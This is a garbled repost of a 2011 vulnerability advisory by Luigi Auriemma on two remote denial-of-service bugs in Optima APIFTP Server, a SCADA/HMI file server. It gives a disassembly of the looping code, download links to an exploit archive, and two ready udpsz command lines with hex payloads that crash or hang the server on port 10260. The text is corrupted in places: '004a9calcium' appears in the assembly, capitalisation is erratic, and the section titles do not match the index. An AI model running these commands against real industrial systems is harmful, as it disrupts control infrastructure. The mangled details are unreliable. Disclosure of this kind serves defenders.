Optima APIFTP Server & lt; = 1.5.2.13 multiple defects and repair

 

######################################## ###############################

 

Luigi Auriemma

 

Application: Optima APIFTP Server

Http://www.optimalog.com/home.html

Versions: <= 1.5.2.13

Platforms: Windows

Bugs: A] NULL pointer

B] endless loop

Exploitation: remote

Date: 13 Nov 2011

Author: Luigi Auriemma

E-mail: aluigi@autistici.org

Web: aluigi.org

 

 

######################################## ###############################

 

 

1) Introduction

2) Bugs

3) The Code

4) Fix

 

 

######################################## ###############################

 

====================

1) Description

====================

 

Optima is a suite of automation software for controlling PLC

SCADA/HMI interface.

APIFTP Server is a file server for working with remote files located on

Shared folders.

 

 

######################################## ###############################

 

========

2) Bugs

========

 

---------------

A] NULL pointer

---------------

 

NULL pointer exploitable through too long path names.

The effect is the displaying of a MessageBox with the error and

Continuing of the execution that will lead to a stack exaustion after

Some seconds and the termination of the server.

 

 

---------------

B] endless loop

---------------

 

Endless loop with CPU at 100% caused by incomplete packets:

 

004A9C93 8B03/mov eax, dword ptr ds: [EBX]

004A9C95 8B80 78010000 | mov eax, dword ptr ds: [EAX + 178]

004A9C9B 2D B80B0000 | sub eax, 0BB8; Switch (cases bb8.. BE0)

004A9CA0 74 19 | je short APIFTPSe.004A9CBB

004a9calcium 83E8 14 | sub eax, 14

004A9CA5 74 47 | je short APIFTPSe.004A9CEE

004A9CA7 83E8 0A | sub eax, 0A

004A9CAA 0F84 9D000000 | JE APIFTPSe.004A9D4D

004A9CB0 83E8 0A | sub eax, 0A

004A9CB3 0F84 CA000000 | JE APIFTPSe.004A9D83

004A9CB9 ^ EB D8 | jmp short APIFTPSe.004A9C93

 

 

######################################## ###############################

 

==============

3) The Code

==============

 

 

Http://aluigi.org/testz/udpsz.zip

Http://www.exploit-db.com/sploits/18112.zip

 

A]

Udpsz-C "e803 0400 ff"-T-D-3-d SERVER 10260 0x107

 

Wait some seconds, the tool will quit automatically

 

B]

Udpsz-C "e803 0400 00"-T-d server 10260-1

 

 

######################################## ###############################

 

======

4) Repair

======

Wait for official patch